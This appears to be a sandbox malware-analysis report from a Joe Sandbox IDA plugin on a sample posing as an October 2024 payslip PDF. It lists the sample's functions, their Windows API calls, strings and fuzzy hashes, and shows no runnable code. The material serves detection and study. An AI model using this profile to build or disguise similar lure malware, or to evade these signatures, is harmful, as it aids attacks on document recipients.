Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup_memset
String ID: 0$F
API String ID: 176399719-3044882817
Opcode ID: fbacb793c9a4be63b9f978e7345ea63ab92f44e05df2f286f03ad195c184fd18
Instruction ID: 7bf0a43bf03be23c1c104a094af1c68f447da0b08bfe5bc2de879e5172dd21c9
Opcode Fuzzy Hash: fbacb793c9a4be63b9f978e7345ea63ab92f44e05df2f286f03ad195c184fd18
Instruction Fuzzy Hash: 45415675A00319EFDB20EF64E884E9ABBB9FF59304F184428E955A7360D731A911CBA0

Function 00D2772A Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 00D277CD
CreateCompatibleDC.GDI32(00000000), ref: 00D277D4
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00D277E7
SelectObject.GDI32(00000000,00000000), ref: 00D277EF
GetPixel.GDI32(00000000,00000000,00000000), ref: 00D277FA
DeleteDC.GDI32(00000000), ref: 00D27803
GetWindowLongW.USER32(?,000000EC), ref: 00D2780D
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 00D27821
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 00D2782D

Strings

static, xrefs: 00D27765

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: e25236f543da432c086a46f323895f05693c5ee49b2da25a6eab5792e06a22a9
Instruction ID: 2bf897d1102a93b9f0d848cedef89c409059e9d640ed1ff95c7aa84fd5ad3eab
Opcode Fuzzy Hash: e25236f543da432c086a46f323895f05693c5ee49b2da25a6eab5792e06a22a9
Instruction Fuzzy Hash: AD318C31105225ABDF229F64EC08FDA3B79EF29725F140625FA15E62A0C731D822DBB4

Function 00CC7040 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CC707B

Part of subcall function 00CC8D68: __getptd_noexit.LIBCMT ref: 00CC8D68

__gmtime64_s.LIBCMT ref: 00CC7114
__gmtime64_s.LIBCMT ref: 00CC714A
__gmtime64_s.LIBCMT ref: 00CC7167
__allrem.LIBCMT ref: 00CC71BD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CC71D9
__allrem.LIBCMT ref: 00CC71F0
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CC720E
__allrem.LIBCMT ref: 00CC7225
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00CC7243
__invoke_watson.LIBCMT ref: 00CC72B4

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 85949ae18b549cd2d12431497598bef6b028e5a4746e3945652a320069ef6a5a
Instruction ID: c0ae088eb74f698baf0787de8b1afd0c3c3cbfc98b815edab5c9ea34065efadb
Opcode Fuzzy Hash: 85949ae18b549cd2d12431497598bef6b028e5a4746e3945652a320069ef6a5a
Instruction Fuzzy Hash: F071B471A04716ABE7149F79CC82F6AB3B8EF54320F14432EF924E6781E770DA409B90

Function 00D02A16 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D02A31
GetMenuItemInfoW.USER32(00D66890,000000FF,00000000,00000030), ref: 00D02A92
SetMenuItemInfoW.USER32(00D66890,00000004,00000000,00000030), ref: 00D02AC8
Sleep.KERNEL32(000001F4), ref: 00D02ADA
GetMenuItemCount.USER32(?), ref: 00D02B1E
GetMenuItemID.USER32(?,00000000), ref: 00D02B3A
GetMenuItemID.USER32(?,-00000001), ref: 00D02B64
GetMenuItemID.USER32(?,?), ref: 00D02BA9
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00D02BEF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D02C03
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00D02C24

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 67b6e642d50352ee0663ae814350e7bb1ec7f10cb4d9c4a5b7bdea720bee8af0
Instruction ID: d535d0c1dbc97bb9bb2eeb39d23e5fb463f6642182b5733953a82814b36be0e7
Opcode Fuzzy Hash: 67b6e642d50352ee0663ae814350e7bb1ec7f10cb4d9c4a5b7bdea720bee8af0
Instruction Fuzzy Hash: DF618EB0902349AFEB21CF64C88CFBEBBB8EB45304F180569E84597291DB71AD05DB31

Function 00D27192 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00D27214
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00D27217
GetWindowLongW.USER32(?,000000F0), ref: 00D2723B
_memset.LIBCMT ref: 00D2724C
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00D2725E
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00D272D6

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: f23aba2d75e06a6685f922894ea344e3d9e0fe66165cc705f9e0363d7e7a7ebf
Instruction ID: cc2fd347cda42b1f12db4cbc3dc08aabb18cef7f90a6ad225f19b43509e65008
Opcode Fuzzy Hash: f23aba2d75e06a6685f922894ea344e3d9e0fe66165cc705f9e0363d7e7a7ebf
Instruction Fuzzy Hash: 05615875A00218AFDB20DFA4DC81EEE77B8EF19714F140159FA14E73A1D770A945DBA0

Function 00CF710E Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00CF7135
SafeArrayAllocData.OLEAUT32(?), ref: 00CF718E
VariantInit.OLEAUT32(?), ref: 00CF71A0
SafeArrayAccessData.OLEAUT32(?,?), ref: 00CF71C0
VariantCopy.OLEAUT32(?,?), ref: 00CF7213
SafeArrayUnaccessData.OLEAUT32(?), ref: 00CF7227
VariantClear.OLEAUT32(?), ref: 00CF723C
SafeArrayDestroyData.OLEAUT32(?), ref: 00CF7249
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00CF7252
VariantClear.OLEAUT32(?), ref: 00CF7264
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00CF726F

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: d7c8844f111ef08857991d6aa97ee1bb167d210e943f6d24fa140db4b3d91d2a
Instruction ID: e67569dbc78275e51ad7eef53e89b66b7b61349d32fff057bdb18e9ed398246e
Opcode Fuzzy Hash: d7c8844f111ef08857991d6aa97ee1bb167d210e943f6d24fa140db4b3d91d2a
Instruction Fuzzy Hash: D141403590021DEFCB10EFA4D8449AEBBB8EF58354F008575FA15E7361CB70AA46DBA1

Function 00D15A45 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00D15AA6
inet_addr.WSOCK32(?,?,?), ref: 00D15AEB
gethostbyname.WSOCK32(?), ref: 00D15AF7
IcmpCreateFile.IPHLPAPI ref: 00D15B05
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00D15B75
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00D15B8B
IcmpCloseHandle.IPHLPAPI(00000000), ref: 00D15C00
WSACleanup.WSOCK32 ref: 00D15C06

Strings

Ping, xrefs: 00D15B29

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 43d206509140b42d54385a58b03145bc08bb0684174ed8a086540c5dd0bacef2
Instruction ID: 19922ffe80aacabca7368330189388d904b50f837c600d542acd5d22846b3ae5
Opcode Fuzzy Hash: 43d206509140b42d54385a58b03145bc08bb0684174ed8a086540c5dd0bacef2
Instruction Fuzzy Hash: 7951B131204701EFD720DF24ED45B6AB7E0EF85314F08892AF599DB2A1DB74E840DB62

Function 00D0B72E Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00D0B73B
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00D0B7B1
GetLastError.KERNEL32 ref: 00D0B7BB
SetErrorMode.KERNEL32(00000000,READY), ref: 00D0B828

Strings

READONLY, xrefs: 00D0B7F3
READY, xrefs: 00D0B801
NOTREADY, xrefs: 00D0B7E7
UNKNOWN, xrefs: 00D0B7E0
INVALID, xrefs: 00D0B7FA

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 461c46d1a5f6b67ae97e0941e0bed22f667c31a4914392ef77374b60bda66b07
Instruction ID: 1a49cc24f55c50d48c01a4bd3de039fe313b54adb7b0e416649d2b88bbd37094
Opcode Fuzzy Hash: 461c46d1a5f6b67ae97e0941e0bed22f667c31a4914392ef77374b60bda66b07
Instruction Fuzzy Hash: 0C31C235A04305AFCB10EF68C885BBE7BB4EF85714F14812AE90AD72D1DB319906C771

Function 00CF9471 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA7F41: _memmove.LIBCMT ref: 00CA7F82

Part of subcall function 00CFB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00CFB0E7

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00CF94F6
GetDlgCtrlID.USER32 ref: 00CF9501
GetParent.USER32 ref: 00CF951D
SendMessageW.USER32(00000000,?,00000111,?), ref: 00CF9520
GetDlgCtrlID.USER32(?), ref: 00CF9529
GetParent.USER32(?), ref: 00CF9545
SendMessageW.USER32(00000000,?,?,00000111), ref: 00CF9548

Strings

ListBox, xrefs: 00CF94B3
ComboBox, xrefs: 00CF947E

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 7e6989ab05a8f85978c9f598009138a99a9e0e1815bf1bb2f38e7fb5ae96a275
Instruction ID: 69e3acbc9c62b365fecc89e4b9ec007929f04ec19eeb56317e2a480608984718
Opcode Fuzzy Hash: 7e6989ab05a8f85978c9f598009138a99a9e0e1815bf1bb2f38e7fb5ae96a275
Instruction Fuzzy Hash: 0A21D670A00208BFCF05AFA4CC85EFEBB74EF55300F104625BA61972E1DB755919EB21

Function 00CF955C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00CA7F41: _memmove.LIBCMT ref: 00CA7F82

Part of subcall function 00CFB0C4: GetClassNameW.USER32(?,?,000000FF), ref: 00CFB0E7

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00CF95DF
GetDlgCtrlID.USER32 ref: 00CF95EA
GetParent.USER32 ref: 00CF9606
SendMessageW.USER32(00000000,?,00000111,?), ref: 00CF9609
GetDlgCtrlID.USER32(?), ref: 00CF9612
GetParent.USER32(?), ref: 00CF962E
SendMessageW.USER32(00000000,?,?,00000111), ref: 00CF9631

Strings

ListBox, xrefs: 00CF959E
ComboBox, xrefs: 00CF9569

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: c397f155c5fc322c432b252e943e62cf146ff624f97c06aa1947d693df548472
Instruction ID: 2fb1a1ca5543c1efae3917ad2a0ab3cdc4b49b7c92545948d8fb75a9012fae90
Opcode Fuzzy Hash: c397f155c5fc322c432b252e943e62cf146ff624f97c06aa1947d693df548472
Instruction Fuzzy Hash: A421B374A00208BFDF11ABA0CC85EFEBB78EF59300F104525BA61972A1DB75991DAB21

Function 00CF9645 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00CF9651
GetClassNameW.USER32(00000000,?,00000100), ref: 00CF9666
_wcscmp.LIBCMT ref: 00CF9678
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00CF96F3

Strings

details, xrefs: 00CF96A1
SHELLDLL_DefView, xrefs: 00CF9672
list, xrefs: 00CF96D5
smallicons, xrefs: 00CF96BB
largeicons, xrefs: 00CF9687

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: 8930a8fc487964b910894e2f1c515ec41c50a269bb0503bff27d70b5fb4c93ed
Instruction ID: 1288452ae5b732219a7dbdd21ab5148dcc5f9ada0915feac47faf61aefe2f230
Opcode Fuzzy Hash: 8930a8fc487964b910894e2f1c515ec41c50a269bb0503bff27d70b5fb4c93ed
Instruction Fuzzy Hash: F1113D7614434BBEFE912621EC17FB6B79CCB14321B200026FF10E50D1FE715A195569

Function 00D18BC0 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00D18BEC
CoInitialize.OLE32(00000000), ref: 00D18C19
CoUninitialize.OLE32 ref: 00D18C23
GetRunningObjectTable.OLE32(00000000,?), ref: 00D18D23
SetErrorMode.KERNEL32(00000001,00000029), ref: 00D18E50
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00D32C0C), ref: 00D18E84
CoGetObject.OLE32(?,00000000,00D32C0C,?), ref: 00D18EA7
SetErrorMode.KERNEL32(00000000), ref: 00D18EBA
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00D18F3A
VariantClear.OLEAUT32(?), ref: 00D18F4A

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: d737590bf9c9565825bd0a0a32e685b4f5bd96982a1944ce0f14ae4a6d8cc93e
Instruction ID: 4ea28e46b637ad83763b8f8f834b9ff13930806cf147792353cbcb62336ef92d
Opcode Fuzzy Hash: d737590bf9c9565825bd0a0a32e685b4f5bd96982a1944ce0f14ae4a6d8cc93e
Instruction Fuzzy Hash: 54C143B0608305AFC700DF64D88496BB7E9FF89748F04496CF98A9B251DB31ED46CB62

Function 00D04189 Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00D0419D
__swprintf.LIBCMT ref: 00D041AA

Part of subcall function 00CC38D8: __woutput_l.LIBCMT ref: 00CC3931

FindResourceW.KERNEL32(?,?,0000000E), ref: 00D041D4
LoadResource.KERNEL32(?,00000000), ref: 00D041E0
LockResource.KERNEL32(00000000), ref: 00D041ED
FindResourceW.KERNEL32(?,?,00000003), ref: 00D0420D
LoadResource.KERNEL32(?,00000000), ref: 00D0421F
SizeofResource.KERNEL32(?,00000000), ref: 00D0422E
LockResource.KERNEL32(?), ref: 00D0423A
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00D0429B

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: eabc887faf139c29bc08fae2a0fc03daff42e88abf0cfde5ce3b8b87ba1d0658
Instruction ID: 643c2f258de517c82e6d70f110f8d5ee72186514e637b05f2c4d668d6e6553e2
Opcode Fuzzy Hash: eabc887faf139c29bc08fae2a0fc03daff42e88abf0cfde5ce3b8b87ba1d0658
Instruction Fuzzy Hash: 1531A0B160521AABCB119F60DD44FBF7BBCEF15301F044929FA09D6290D770D9628BB8

Function 00D016DE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00D01700
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00D00778,?,00000001), ref: 00D01714
GetWindowThreadProcessId.USER32(00000000), ref: 00D0171B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00D00778,?,00000001), ref: 00D0172A
GetWindowThreadProcessId.USER32(?,00000000), ref: 00D0173C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00D00778,?,00000001), ref: 00D01755
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00D00778,?,00000001), ref: 00D01767
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00D00778,?,00000001), ref: 00D017AC
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00D00778,?,00000001), ref: 00D017C1
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00D00778,?,00000001), ref: 00D017CC

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 117a1fe52e155e90be9816e6987df3d1a053a3526e668a63c07c03ce27d51b4e
Instruction ID: a2bda87995e4c9442150425ee7a47f2920caf60d81690f8349400d4187c6fd2a
Opcode Fuzzy Hash: 117a1fe52e155e90be9816e6987df3d1a053a3526e668a63c07c03ce27d51b4e
Instruction Fuzzy Hash: 64316779604308FBEB219B24ED98F697BA9EBA5716F144029F908C63E0D7B49D408B70

Function 00CFA693 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,00CFAA64), ref: 00CFA9A2

Strings

CLASSNN, xrefs: 00CFA744
TEXT, xrefs: 00CFA8D9
REGEXPCLASS, xrefs: 00CFA767
NAME, xrefs: 00CFA7D4
INSTANCE, xrefs: 00CFA8B0
CLASS, xrefs: 00CFA721

Memory Dump Source

Source File: 00000000.00000002.1668013175.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1667994779.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D2F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668071669.0000000000D55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668125532.0000000000D5F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1668143788.0000000000D68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_Payslip_October_2024_pdf.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: d06b855f2283b5e482069351ac0a2045c45913af95566c2a992a23b6fd72263b
Instruction ID: 7481fcb09a607c9dfb050a8f379cc61a833312021a9cf120ecbe2992c7bdfce3
Opcode Fuzzy Hash: d06b855f2283b5e482069351ac0a2045c45913af95566c2a992a23b6fd72263b
Instruction Fuzzy Hash: 429184B0A0050ADBDF48DF60C481BF9FB74BF04344F518129DA9EA7251DB706B59DBA2

